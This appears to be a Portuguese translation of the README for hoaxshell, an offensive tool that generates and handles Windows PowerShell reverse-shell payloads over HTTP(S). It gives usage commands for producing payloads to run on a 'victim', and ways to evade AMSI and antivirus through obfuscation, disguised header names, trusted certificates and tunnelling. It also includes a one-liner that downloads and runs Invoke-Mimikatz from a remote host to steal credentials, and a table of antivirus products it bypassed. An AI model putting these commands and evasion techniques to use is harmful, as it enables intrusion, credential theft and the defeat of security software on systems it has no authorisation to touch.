
Um gerador e manipulador de payloads de reverse shell para Windows que abusa do protocolo http(s) para estabelecer um reverse shell semelhante a um beacon.
⚠️ A partir de 2022-10-18, o hoaxshell é detectado pelo AMSI (malware-encyclopedia). Você precisa ofuscar o payload gerado para poder usá-lo. Confira este vídeo sobre como ofuscar manualmente e contornar o MS Defender:
hoaxshell é um gerador e manipulador de payloads de reverse shell para Windows que abusa do protocolo http(s) para estabelecer um reverse shell semelhante a um beacon, com base no seguinte conceito:

Esse conceito de c2 (que poderia ser implementado usando outros protocolos além do http ou exes pré-instalados) pode ser usado para estabelecer sessões que promovem a ilusão de se ter um shell, mas estão longe de um pty real.
O HoaxShell teve um bom desempenho contra softwares de AV (consulte a tabela de PoCs de bypass de AV para mais informações). Embora agora seja geralmente detectado, é fácil ofuscar o(s) payload(s) gerado(s) usando ferramentas automatizadas ou manualmente.
Aviso: Feito puramente para fins de teste e educacionais. NÃO execute os payloads gerados por esta ferramenta contra hosts que você não tenha permissão e autorização explícitas para testar. Você é responsável por qualquer problema que possa causar ao usar esta ferramenta.
[2022-10-11] Recente e incrível, feito por John Hammond -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] Demonstração do lançamento original, feita por mim -> youtube.com/watch?v=SEufgD5UxdU

Encontre mais capturas de tela aqui.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Importante: Como forma de evitar detecção, o hoaxshell gera automaticamente valores aleatórios para o session id, caminhos de URL e o nome de um cabeçalho http personalizado utilizado no processo, toda vez que o script é iniciado. O payload gerado funcionará apenas para a instância para a qual foi gerado. Use a opção -g para contornar esse comportamento e restabelecer uma sessão ativa ou reutilizar um payload gerado anteriormente com uma nova instância do hoaxshell.
Quando você executa o hoaxshell, ele gera seu próprio payload PowerShell para você copiar e injetar na vítima. Por padrão, o payload é codificado em base64 por conveniência. Se você precisar do payload bruto, execute o comando "rawpayload" no prompt ou inicie o hoaxshell com o argumento -r. Depois que o payload for executado na vítima, você poderá executar comandos PowerShell contra ela.
Invoke-Expression (padrão)sudo python3 hoaxshell.py -s <your_ip>
Use -x para fornecer um nome de arquivo .ps1 (caminho absoluto) a ser criado na máquina da vítima. Você deve verificar o payload bruto antes de executá-lo, garantindo que o caminho fornecido seja válido.
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
O hoaxshell utiliza um cabeçalho http para transferir informações da sessão do shell. Por padrão, o cabeçalho recebe um nome aleatório que pode ser detectado por regras de AV baseadas em regex. Use -H para fornecer um nome de cabeçalho http padrão ou personalizado para evitar detecção.
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Esse payload específico é meio que um sinal de alerta, pois começa com um bloco adicional de código que instrui o PowerShell a ignorar as verificações de certificado SSL, o que o torna suspeito e fácil de detectar, além de significativamente mais longo. Não é recomendado.
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>
Se você possui um domínio, use esta opção para gerar um payload https mais curto e menos detectável, fornecendo seu DN com -s juntamente com um certificado confiável (-c cert.pem -k privkey.pem).
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>
Caso você feche seu terminal acidentalmente, haja uma queda de energia ou algo do tipo, você pode iniciar o hoaxshell no modo de captura de sessão, que tentará restabelecer uma sessão, desde que o payload ainda esteja em execução na máquina da vítima.
sudo python3 hoaxshell.py -s <your_ip> -g
Importante: Certifique-se de iniciar o hoaxshell com as mesmas configurações da sessão que você está tentando restaurar (http/https, porta, etc).
Use qualquer uma das variações de payload com a opção -cm (--constraint-mode) para gerar um payload que funcione mesmo se a vítima estiver configurada para executar o PS no Modo de Linguagem Restrita (Constraint Language mode). Ao usar essa opção, você sacrifica um pouco da precisão da decodificação do stdout do seu reverse shell.
sudo python3 hoaxshell.py -s <your_ip> -cm

Utilize os programas de tunelamento Ngrok ou LocalTunnel para obter sessões através de túneis seguros, superando problemas como não ter um endereço IP estático ou seu ISP proibir Port-Forwarding.
Use -ng ou --ngrok para o servidor Ngrok
sudo python3 hoaxshell.py -ng
Use -lt ou --localtunnel para o servidor LocalTunnel
sudo python3 hoaxshell.py -lt
O shell vai travar se você executar um comando que inicie uma sessão interativa. Exemplo:
# this command will execute succesfully and you will have no problem:
> powershell echo 'This is a test'
# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell
# In the same manner, you won't have a problem executing this:
> cmd /c dir /a
# But this will cause your hoaxshell to hang:
> cmd.exe
Então, se você, por exemplo, quiser executar o mimikatz através do hoaxshell, você precisará invocar os comandos:
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
Em resumo, você precisa ter cuidado para não executar um exe ou cmd que inicie uma sessão interativa no contexto do powershell do hoaxshell.
Algumas pessoas incríveis foram gentis o suficiente para me enviar/publicar vídeos de PoC executando os payloads do hoaxshell contra sistemas com soluções de AV diferentes do MS Defender, sem serem detectados. Abaixo está uma tabela de referência com links:
Importante: Não sei se você ainda pode usar o hoaxshell de forma eficaz para contornar essas soluções. É razoável presumir que a detectabilidade mudará em breve (se já não mudou).
13/10/2022 - Adicionada a opção de suporte ao modo de linguagem restrita (-cm).08/10/2022 - Adicionadas as opções -ng e -lt, que geram payloads PS para obter sessões usando as ferramentas de tunelamento ngrok ou localtunnel, a fim de contornar limitações como endereços IP estáticos e Port-Forwarding.06/09/2022 - Foi adicionado um novo payload que grava os comandos a serem executados em um arquivo em vez de utilizar Invoke-Expression. Para usar isso, o usuário deve fornecer um nome de arquivo .ps1 (caminho absoluto) na máquina da vítima usando a opção -x.04/09/2022 - Foram feitas modificações para melhorar o mecanismo de entrega de comandos, pois ele incluía componentes que poderiam ser facilmente sinalizados. A opção -t juntamente com o https_payload_trusted.ps1 foram adicionados. Agora você pode usar o hoaxshell fornecendo um nome de domínio juntamente com um certificado confiável. Isso gerará um payload https mais curto e menos detectável.01/09/2022 - Adicionada a opção , que permite aos usuários dar um nome personalizado ao cabeçalho (aleatório por padrão) utilizado no processo de ataque, que carrega o session id do shell. Isso torna o ataque menos detectável, por exemplo, usando um nome de cabeçalho padrão, como "Authorization".| Solução de AV | Data | PoC |
|---|
| SentinelOne | 2022-10-18 | https://twitter.com/i/status/1582137400880336896 |
| Norton | 2022-10-17 | https://twitter.com/i/status/1582278579244929024 |
| Bitdefender | 2022-10-15 | https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop |
| McAfee | 2022-10-15 | https://twitter.com/i/status/1581605531365814273 |
| Kaspersky | 2022-10-13 | https://www.youtube.com/watch?v=IyMH_eCC4Rk |
| Sophos | 2022-09-08 | https://www.youtube.com/watch?v=NYR0rWx4x8k |
-H31/08/2022 - Adicionada a opção -i, que gera o payload PS ajustado para usar o utilitário 'Invoke-RestMethod' em vez do utilitário 'Invoke-WebRequest', então agora o usuário pode escolher (graças a esta issue). Também corrigi um bug que existia no prompt (ele às vezes bagunçava o caminho).